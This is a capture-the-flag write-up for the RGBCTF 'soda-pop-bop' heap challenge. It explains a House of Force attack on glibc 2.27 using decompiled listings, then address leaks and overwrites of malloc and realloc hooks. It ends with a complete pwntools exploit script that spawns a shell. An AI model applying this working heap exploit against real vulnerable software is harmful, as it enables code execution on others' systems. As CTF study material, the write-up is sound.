rgbctf-pwn

Writeup for RGBCTF soda-pop-bop challenge

HOUSE OF FORCE

The libc version was 2.27. And it doesn't have any checks for top chunk.

Finding the bug was actually simple

00000ccb  *party = malloc(zx.q(*party_size) << 5)
00000ce5  if (*party == 0)
00000ce5      puts(data_109f)  {"You can't have a party of 0!"}
00000cef      exit(1)
00000cef      noreturn
00000cfa  if (*party_size u<= 1)
00000d9b      puts(data_10da)  {"All alone...? I'm so sorry :("}
00000da7      *(*party + 0x18) = -1 <---------------- It puts the -1 to the top chunk if the Party size we give is "0".
00000db6      puts(data_10f8)  {"What's your name?"}
00000dc7      printf(data_f5f)
00000dd3      uint64_t rdx_7 = *party
00000de8      fgets(rdx_7, 0x18, stdin, rdx_7)

This else condition is never meant to execute. the party size is either 0/1 OR > 1. The if condition inside the while(True) loop never gets false because the variable is assigned 0 at the start and checks if (var) <= party_size. Which is always true. So the loop terminates and never gets executed.

00000d03  else
00000d03      int32_t var_c_1 = 0
00000d81      while (true)
00000d81          uint64_t rdx_6 = zx.q(var_c_1)
00000d8c          if (rdx_6:0.d u<= *party_size)
00000d8c              break
00000d1d          printf(data_10bc, zx.q(var_c_1), rdx_6)  {"What's the name of member %d?"}
00000d2e          printf(data_f5f)
00000d47          *(*party + (sx.q(var_c_1) << 5) + 0x18) = -1
00000d67          int64_t rdx_4 = *party + (sx.q(var_c_1) << 5)
00000d78          fgets(rdx_4, 0x18, stdin, rdx_4)
00000d7d          var_c_1 = var_c_1 + 1
00000df2  while (true)
00000df2      print_menu()
00000e06      char var_d_1 = _IO_getc(stdin):0.b
00000e13      _IO_getc(stdin)
00000e18      uint64_t rax_18 = zx.q(sx.d(var_d_1))
00000e1c      if (rax_18:0.d == 0x32)
00000e4a          get_drink()
00000e21      else
00000e21          if (rax_18:0.d s> 0x32)
00000e2d              if (rax_18:0.d == 0x33)
00000e56                  sing_song()
00000e5b                  continue
00000e62              else if (rax_18:0.d == 0x34)
00000e62                  exit(0)
00000e62                  noreturn
00000e26          else if (rax_18:0.d == 0x31)
00000e3e              choose_song()
00000e43              continue
00000e6e          puts(data_110a)  {"????"}

choose_song function just asks for no.of bytes to allocate and reads the data into it.

000009da  puts(data_f44)  {"How long is the song name?"}
000009eb  printf(data_f5f)
00000a03  int64_t var_18
00000a03  __isoc99_scanf(data_f62, &var_18)  {"%llu"}
00000a12  _IO_getc(stdin)
00000a23  *selected_song = malloc(var_18)
00000a31  puts(data_f67)  {"What is the song title?"}
00000a42  printf(data_f5f)
00000a52  uint64_t rcx = zx.q(var_18:0.d)
00000a60  fgets(*selected_song, zx.q(rcx:0.d), stdin, rcx)

singsong() function just prints the pointer which is returened by malloc ( We leak addresses using this function. )

000009bb  return printf(data_f2e, *selected_song)  {"You sang %p so well!\n"}

The get_drink() function is quiet intresting

00000a9a  puts(data_f7f)  {"What party member is buying?"}
00000aab  printf(data_f5f)
00000ac3  int32_t var_18
00000ac3  __isoc99_scanf(data_f9c, &var_18)
00000ad2  _IO_getc(stdin)
00000ae0  if (var_18 u>= *party_size)
00000aeb      puts(data_f9f)  {"That member doesn't exist."}
00000afc  else
00000afc      puts(data_fba)  {"What are you buying?"}
00000b08      puts(data_fcf)  {"0. Water"}
00000b14      puts(data_fd8)  {"1. Pepsi"}
00000b20      puts(data_fe1)  {"2. Club Mate"}
00000b2c      puts(data_fee)  {"3. Leninade"}
00000b3d      printf(data_f5f)
00000b55      int32_t var_14
00000b55      __isoc99_scanf(data_ffa, &var_14)
00000b64      _IO_getc(stdin)
00000b6c      if (var_14 s<= 3)
00000b97          *(*party + (zx.q(var_18) << 5) + 0x18) = sx.q(var_14)
00000b78      else
00000b78          puts(data_ffd)  {"We don't have that drink."}

I will explain it later on the writeup

exploitation part.

The program asks for party size which is stored into bss.

struct party {
    pointer_to_heap;
    party_size;
}

the size is stored into the partysize. We start by giving party size zero. Giving zero malloc will return the smallest chunk. And the

(*party + 0x18) = -1

A negative value is onto the topchunk size field, which gives us House of force primitive.

Reference: https://www.youtube.com/watch?v=6-Et7M7qJJg

Max kamper has amazing video on house-of-force.

In the sing song function malloc returns the pointer to a bss variable c *selected_song Which contains a pie address when the program runs. This leaks the PIE,

Getting heap leak was simple Allocate a normal chunk and print the address of the chunk using selected_song function again.

Using house of force, We get the heap to bss.

def return_size(target, wilderness):
    return target - wilderness - 0x10

The helper function to return the bad size which will be passed to malloc.

We fully control the bss now.

I overwrote the partysize to a big value.

The get_drink() function

00000a9a  puts(data_f7f)  {"What party member is buying?"}
00000aab  printf(data_f5f)
00000ac3  int32_t var_18
00000ac3  __isoc99_scanf(data_f9c, &var_18)
00000ad2  _IO_getc(stdin)
00000ae0  if (var_18 u>= *party_size)
00000aeb      puts(data_f9f)  {"That member doesn't exist."}
00000afc  else
00000afc      puts(data_fba)  {"What are you buying?"}
00000b08      puts(data_fcf)  {"0. Water"}
00000b14      puts(data_fd8)  {"1. Pepsi"}
00000b20      puts(data_fe1)  {"2. Club Mate"}
00000b2c      puts(data_fee)  {"3. Leninade"}
00000b3d      printf(data_f5f)
00000b55      int32_t var_14
00000b55      __isoc99_scanf(data_ffa, &var_14)
00000b64      _IO_getc(stdin)
00000b6c      if (var_14 s<= 3)
00000b97          *(*party + (zx.q(var_18) << 5) + 0x18) = sx.q(var_14)
00000b78      else
00000b78          puts(data_ffd)  {"We don't have that drink."}

The get drink function first takes unsigned integer.

And it checks if the input integer is greater or equal to the party size. If it is then it's terminates the function. When we get our heap transfered to bss. There is a topchunk size field on bss.

The else part of this code does is it scans an integer, and checks if it is less than equals to 3.

We can give negative values here. (;

The later part will write the value we gave to the address of *party + blablamath We can change the top chunk size here By just calculating offset with trial and error.

First i changed the top chunk size to 0.

and allocate a big chunk of size

0x210000

The chunk we will recieve will be mmaped chunk. Right before libcbase, ALIGNED. Selected song contains the address of this mmaped chunk. We leak libc. Now we change the Top chunk again to -1. HOUSE OF FORCE PRIMITIVE AGAIN.

One_gadget constraints weren't matching so, I change malloc hook (& realloc + 8) and realloc hook to onegaget.

And pop the shell.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host challenge.rgbsec.xyz --port 6969 ./spb
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./spb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'challenge.rgbsec.xyz'
port = int(args.PORT or 6969)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

io = start()

def init(size, name):
    io.recvuntil('> ')
    io.sendline(str(size))
    io.recvuntil('> ')
    io.sendline(name)

def getleak():
    io.recvuntil('> ')
    io.sendline('3')

def choose(size, data):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline(str(size))
    io.recvuntil('> ')
    io.sendline(data)

def getdrink(member, fuck):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('> ')
    io.sendline(str(member))
    io.recvuntil('> ')
    io.sendline(str(fuck))

def return_size(target, wilderness):
    return target - wilderness - 0x10

init(0, 'H'*0x17)
io.sendline()
getleak()
io.recvuntil('You sang ')
pie = int(io.recvn(14), 0) - 0xf08
log.info('Pie leak {}'.format(hex(pie)))
choose(0x18, 'K'*0x17)
io.sendline()
getleak()
io.recvuntil('You sang ')
heap = int(io.recvn(14), 0)
log.info('Heap leak {}'.format(hex(heap)))
target_address = pie + 0x202040
choose(return_size(target_address, heap + 0x10), 'A')
choose(0x110, p64(pie + 0x202050) + p64(0x7f7f7f7f7f7f7f7f))
getdrink(8, 0)
choose(0x210000, 'AAAA')
getleak()
io.recvuntil('You sang ')
libc.address = int(io.recvn(14), 0) + 0x210ff0
log.info('Libc leak {}'.format(hex(libc.address)))
getdrink(8, -1)
target2 = libc.sym.__realloc_hook - 0x8
choose(return_size(target2, pie + 0x202168), 'BBBBBBBB')
def attack(size, data):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline(str(size))
choose(0x110, p64(libc.address + 0x4f3c2) + p64(libc.address + 0x10a45c ) + p64(libc.sym.realloc + 8) + 'AAAAAAA')
#pause()
attack(0x100, 'A')
io.interactive()

third_blood …